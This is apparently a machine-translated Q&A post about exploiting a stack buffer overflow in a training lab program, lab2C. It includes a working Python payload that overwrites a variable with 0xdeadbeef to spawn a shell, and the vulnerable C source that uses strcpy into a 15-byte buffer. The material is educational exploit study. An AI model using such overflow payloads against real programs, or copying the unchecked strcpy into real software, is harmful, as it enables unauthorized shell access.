为什么整数存储十六进制值但不能以十进制存储相同的值?

时间:2018-05-04 01:02:34

标签: python c hex buffer-overflow exploit

我最近通过使其char数组溢出到另一个变量来成功利用C可执行文件。我通过在exploit1.py的输出中输入到命令行来完成此操作,该命令行被lab2C接受为参数。这是我使用的命令:./lab2C.exe "$(python /tmp/exploit1.py)"。最终的exploit1.py文件如下所示:

exploit1.py(最终):

def main():

     print("aaabbbcccdddeee\xef\xbe\xad\xde")

main()

我读过Jon Erickson的 Hacking:The Exploical of the Exploitation ,你可以使用命令行将十六进制字节代码输入到一个文件中,所以我尝试了它并且我成功了调用shell()函数。

然而,我仍然感到困惑的一件事是,为什么0xdeadbeef的十进制版本中的管道作为参数不起作用。这是我尝试将输出输出到命令行的原始文件:

exploit1.py(原创):

def main():

    print("aaabbbcccdddeee3735928559")

main()

当我这样做时,命令行返回以下内容:

Not authenticated.
set_me was 892548915

为什么这不起作用?是因为整数容器不能容纳0xdeadbeef的十进制值,因为它太大了?如果是这种情况,为什么整数接受等效的十六进制字节代码?

规格 - 架构:i686; CPU操作模式:32位,64位;内核名称:Linux;内核版本:#40~14.04.1-Ubuntu;编译器版本:Ubuntu 4.8.4-2ubuntu1~14.04

(这是lab2C供参考): lab2C:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void shell()
{
    printf("You did it.\n");
    system("/bin/sh");
}

int main(int argc, char** argv)
{
    if(argc != 2)
    {
            printf("usage:\n%s string\n", argv[0]);
            return EXIT_FAILURE;
    }

    int set_me = 0;
    char buf[15];
    strcpy(buf, argv[1]);

    if(set_me == 0xdeadbeef)
    {
            shell();
    }
    else
    {
            printf("Not authenticated.\nset_me was %d\n", set_me);
    }

    return EXIT_SUCCESS;
}

1 个答案:

答案 0 :(得分:4)

0xdeadbeef等于3735928559,但"3735928559"等于

>>> [hex(ord(c)) for c in "3735928559"]
['0x33', '0x37', '0x33', '0x35', '0x39', '0x32', '0x38', '0x35', '0x35', '0x39']

"\x33\x37\x33..."

这个漏洞的处理是整数的表示被字符串的表示覆盖,而不是字符串的解析值。